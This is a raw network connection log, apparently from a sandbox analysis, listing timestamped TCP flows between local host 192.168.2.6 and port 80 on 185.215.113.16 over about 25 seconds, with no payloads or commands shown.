Sep 27, 2024 11:30:49.742178917 CEST	65103	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:49.747087955 CEST	80	65102	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:49.747128010 CEST	80	65103	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:49.747169018 CEST	65102	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:49.747220039 CEST	65103	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:49.747351885 CEST	65103	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:49.752223969 CEST	80	65103	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:50.440229893 CEST	80	65103	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:50.440368891 CEST	65103	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:50.441426039 CEST	65103	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:50.448446989 CEST	80	65103	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:50.666389942 CEST	80	65103	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:50.666625977 CEST	65103	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:50.773156881 CEST	65103	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:50.773463964 CEST	65104	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:50.778501034 CEST	80	65104	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:50.778593063 CEST	65104	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:50.778670073 CEST	80	65103	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:50.778732061 CEST	65103	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:50.778734922 CEST	65104	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:50.783575058 CEST	80	65104	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:51.484373093 CEST	80	65104	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:51.484535933 CEST	65104	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:51.485218048 CEST	65104	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:51.491493940 CEST	80	65104	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:51.711504936 CEST	80	65104	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:51.711630106 CEST	65104	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:51.822233915 CEST	65104	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:51.822633028 CEST	65105	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:51.828073025 CEST	80	65104	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:51.828110933 CEST	80	65105	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:51.828172922 CEST	65104	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:51.828212023 CEST	65105	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:51.828345060 CEST	65105	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:51.835242033 CEST	80	65105	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:52.535466909 CEST	80	65105	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:52.535581112 CEST	65105	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:52.538497925 CEST	65105	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:52.543486118 CEST	80	65105	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:52.761044979 CEST	80	65105	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:52.761185884 CEST	65105	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:52.866976976 CEST	65105	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:52.867320061 CEST	65106	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:52.872209072 CEST	80	65106	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:52.872416973 CEST	65106	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:52.872567892 CEST	65106	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:52.872584105 CEST	80	65105	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:52.872642994 CEST	65105	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:52.877475023 CEST	80	65106	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:53.608582020 CEST	80	65106	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:53.608752966 CEST	65106	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:53.610451937 CEST	65106	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:53.615279913 CEST	80	65106	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:53.848117113 CEST	80	65106	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:53.848254919 CEST	65106	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:53.960628986 CEST	65106	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:53.961010933 CEST	65107	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:53.966818094 CEST	80	65106	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:53.966936111 CEST	65106	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:53.966963053 CEST	80	65107	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:53.967058897 CEST	65107	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:53.967271090 CEST	65107	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:53.973387957 CEST	80	65107	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:54.678500891 CEST	80	65107	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:54.678695917 CEST	65107	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:54.679599047 CEST	65107	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:54.684390068 CEST	80	65107	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:54.906187057 CEST	80	65107	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:54.906303883 CEST	65107	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:55.007354021 CEST	65107	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:55.007692099 CEST	65108	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:55.012648106 CEST	80	65108	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:55.012929916 CEST	65108	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:55.012929916 CEST	65108	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:55.012943983 CEST	80	65107	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:55.012996912 CEST	65107	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:55.017705917 CEST	80	65108	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:55.739972115 CEST	80	65108	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:55.740048885 CEST	65108	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:55.740757942 CEST	65108	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:55.745522022 CEST	80	65108	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:55.973352909 CEST	80	65108	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:55.973412037 CEST	65108	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:56.085556984 CEST	65108	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:56.085913897 CEST	65109	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:56.090749979 CEST	80	65109	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:56.090775013 CEST	80	65108	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:56.090825081 CEST	65109	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:56.090856075 CEST	65108	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:56.091054916 CEST	65109	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:56.095892906 CEST	80	65109	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:56.797980070 CEST	80	65109	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:56.798089981 CEST	65109	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:56.798801899 CEST	65109	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:56.803541899 CEST	80	65109	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:57.027661085 CEST	80	65109	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:57.027792931 CEST	65109	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:57.134656906 CEST	65109	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:57.135075092 CEST	65110	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:57.139898062 CEST	80	65109	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:57.139925003 CEST	80	65110	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:57.139946938 CEST	65109	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:57.140002012 CEST	65110	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:57.140134096 CEST	65110	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:57.144861937 CEST	80	65110	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:57.875601053 CEST	80	65110	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:57.875749111 CEST	65110	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:57.876549959 CEST	65110	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:57.881421089 CEST	80	65110	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:58.112724066 CEST	80	65110	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:58.112855911 CEST	65110	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:58.226089001 CEST	65110	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:58.226387024 CEST	65111	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:58.231273890 CEST	80	65111	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:58.231359005 CEST	65111	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:58.231367111 CEST	80	65110	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:58.231437922 CEST	65110	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:58.231508017 CEST	65111	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:58.236229897 CEST	80	65111	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:58.930130959 CEST	80	65111	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:58.930366993 CEST	65111	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:58.931102037 CEST	65111	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:58.935969114 CEST	80	65111	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:59.155163050 CEST	80	65111	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:59.155235052 CEST	65111	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:59.257400036 CEST	65111	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:59.257750034 CEST	65113	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:59.262670994 CEST	80	65113	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:59.262687922 CEST	80	65111	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:59.262747049 CEST	65113	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:59.262784958 CEST	65111	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:59.262922049 CEST	65113	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:59.267664909 CEST	80	65113	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:59.971185923 CEST	80	65113	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:59.971261024 CEST	65113	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:59.972007036 CEST	65113	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:59.977679968 CEST	80	65113	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:00.200732946 CEST	80	65113	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:00.200808048 CEST	65113	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:00.304517984 CEST	65113	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:00.304860115 CEST	65114	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:00.310350895 CEST	80	65113	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:00.310374975 CEST	80	65114	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:00.310453892 CEST	65113	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:00.310508966 CEST	65114	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:00.310723066 CEST	65114	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:00.315588951 CEST	80	65114	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:01.000776052 CEST	80	65114	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:01.000881910 CEST	65114	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:01.001719952 CEST	65114	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:01.006536961 CEST	80	65114	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:01.223706961 CEST	80	65114	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:01.223797083 CEST	65114	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:01.337555885 CEST	65114	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:01.337886095 CEST	65115	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:01.342753887 CEST	80	65114	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:01.342770100 CEST	80	65115	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:01.342823982 CEST	65114	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:01.342878103 CEST	65115	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:01.343229055 CEST	65115	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:01.348022938 CEST	80	65115	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:02.053611040 CEST	80	65115	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:02.053745985 CEST	65115	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:02.054727077 CEST	65115	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:02.059649944 CEST	80	65115	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:02.285742998 CEST	80	65115	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:02.285821915 CEST	65115	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:02.398336887 CEST	65115	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:02.398745060 CEST	65116	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:02.586182117 CEST	80	65116	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:02.586333990 CEST	80	65115	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:02.586330891 CEST	65116	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:02.586391926 CEST	65115	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:02.586646080 CEST	65116	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:02.591444016 CEST	80	65116	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:03.309027910 CEST	80	65116	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:03.309217930 CEST	65116	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:03.311400890 CEST	65116	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:03.316282034 CEST	80	65116	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:03.538702011 CEST	80	65116	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:03.538850069 CEST	65116	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:03.650249958 CEST	65116	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:03.650607109 CEST	65117	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:03.655528069 CEST	80	65117	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:03.655550957 CEST	80	65116	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:03.655611038 CEST	65117	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:03.655628920 CEST	65116	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:03.655917883 CEST	65117	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:03.660734892 CEST	80	65117	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:04.352302074 CEST	80	65117	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:04.352390051 CEST	65117	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:04.355447054 CEST	65117	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:04.360249996 CEST	80	65117	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:04.577923059 CEST	80	65117	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:04.577982903 CEST	65117	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:04.681601048 CEST	65117	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:04.681909084 CEST	65118	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:04.686702013 CEST	80	65118	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:04.686769962 CEST	65118	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:04.686887980 CEST	80	65117	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:04.686938047 CEST	65117	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:04.687051058 CEST	65118	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:04.691786051 CEST	80	65118	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:05.394244909 CEST	80	65118	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:05.394304037 CEST	65118	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:05.397620916 CEST	65118	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:05.402440071 CEST	80	65118	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:05.629041910 CEST	80	65118	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:05.629117966 CEST	65118	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:05.751822948 CEST	65118	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:05.752774000 CEST	65119	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:05.757033110 CEST	80	65118	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:05.757443905 CEST	65118	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:05.757608891 CEST	80	65119	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:05.757733107 CEST	65119	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:05.772352934 CEST	65119	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:05.777334929 CEST	80	65119	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:06.447398901 CEST	80	65119	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:06.447482109 CEST	65119	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:06.451200962 CEST	65119	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:06.451519012 CEST	65120	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:06.456304073 CEST	80	65120	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:06.456356049 CEST	80	65119	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:06.456423044 CEST	65120	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:06.456423044 CEST	65119	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:06.457762003 CEST	65120	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:06.463547945 CEST	80	65120	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:07.161418915 CEST	80	65120	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:07.161601067 CEST	65120	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:07.276884079 CEST	65120	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:07.277345896 CEST	65121	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:07.283646107 CEST	80	65120	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:07.283670902 CEST	80	65121	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:07.283710003 CEST	65120	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:07.283767939 CEST	65121	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:07.284039021 CEST	65121	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:07.290353060 CEST	80	65121	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:08.019320965 CEST	80	65121	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:08.019413948 CEST	65121	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:08.023698092 CEST	65121	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:08.023977995 CEST	65122	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:08.028892994 CEST	80	65122	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:08.028961897 CEST	65122	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:08.029298067 CEST	80	65121	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:08.029346943 CEST	65121	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:08.029510975 CEST	65122	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:08.034370899 CEST	80	65122	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:08.733987093 CEST	80	65122	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:08.734886885 CEST	65122	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:08.853804111 CEST	65122	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:08.854115963 CEST	65123	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:08.862552881 CEST	80	65123	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:08.862694979 CEST	65123	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:08.862718105 CEST	80	65122	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:08.862838984 CEST	65123	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:08.863091946 CEST	65122	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:08.871434927 CEST	80	65123	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:09.565476894 CEST	80	65123	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:09.565551996 CEST	65123	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:09.568449020 CEST	65123	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:09.568741083 CEST	65124	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:09.573633909 CEST	80	65123	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:09.573647022 CEST	80	65124	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:09.573724985 CEST	65124	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:09.573734999 CEST	65123	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:09.588495970 CEST	65124	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:09.593353987 CEST	80	65124	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:10.306952953 CEST	80	65124	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:10.307005882 CEST	65124	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:10.419038057 CEST	65124	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:10.419397116 CEST	65125	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:10.424285889 CEST	80	65124	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:10.424345970 CEST	65124	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:10.424613953 CEST	80	65125	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:10.424685001 CEST	65125	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:10.424969912 CEST	65125	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:10.429941893 CEST	80	65125	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:11.116766930 CEST	80	65125	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:11.116869926 CEST	65125	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:11.142342091 CEST	65125	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:11.142771959 CEST	65126	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:11.147651911 CEST	80	65126	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:11.147731066 CEST	65126	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:11.147805929 CEST	80	65125	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:11.147849083 CEST	65125	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:11.148034096 CEST	65126	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:11.154341936 CEST	80	65126	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:11.871057987 CEST	80	65126	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:11.871129036 CEST	65126	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:11.978355885 CEST	65126	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:11.978713036 CEST	65127	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:11.984185934 CEST	80	65126	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:11.984246969 CEST	80	65127	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:11.984306097 CEST	65126	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:11.984347105 CEST	65127	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:11.984565973 CEST	65127	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:11.992868900 CEST	80	65127	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:11.995452881 CEST	65127	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:12.003268003 CEST	65128	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:12.011718988 CEST	80	65128	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:12.011830091 CEST	65128	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:12.012002945 CEST	65128	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:12.020389080 CEST	80	65128	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:12.749566078 CEST	80	65128	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:12.749639988 CEST	65128	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:12.853892088 CEST	65128	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:12.859568119 CEST	80	65128	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:12.859637976 CEST	65129	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:12.859658957 CEST	65128	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:12.865273952 CEST	80	65129	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:12.865464926 CEST	65129	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:12.865654945 CEST	65129	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:12.870445967 CEST	80	65129	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:13.584402084 CEST	80	65129	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:13.584489107 CEST	65129	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:13.593420029 CEST	65129	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:13.598344088 CEST	80	65129	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:13.821906090 CEST	80	65129	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:13.823586941 CEST	65129	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:13.938375950 CEST	65129	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:13.938937902 CEST	65130	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:13.944046021 CEST	80	65129	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:13.944061995 CEST	80	65130	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:13.944113016 CEST	65129	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:13.944149017 CEST	65130	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:13.945755005 CEST	65130	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:13.950978994 CEST	80	65130	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:14.634277105 CEST	80	65130	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:14.634507895 CEST	65130	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:14.637547016 CEST	65130	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:14.637851000 CEST	65131	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:14.642613888 CEST	80	65130	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:14.642676115 CEST	65130	80	192.168.2.6	185.215.113.16
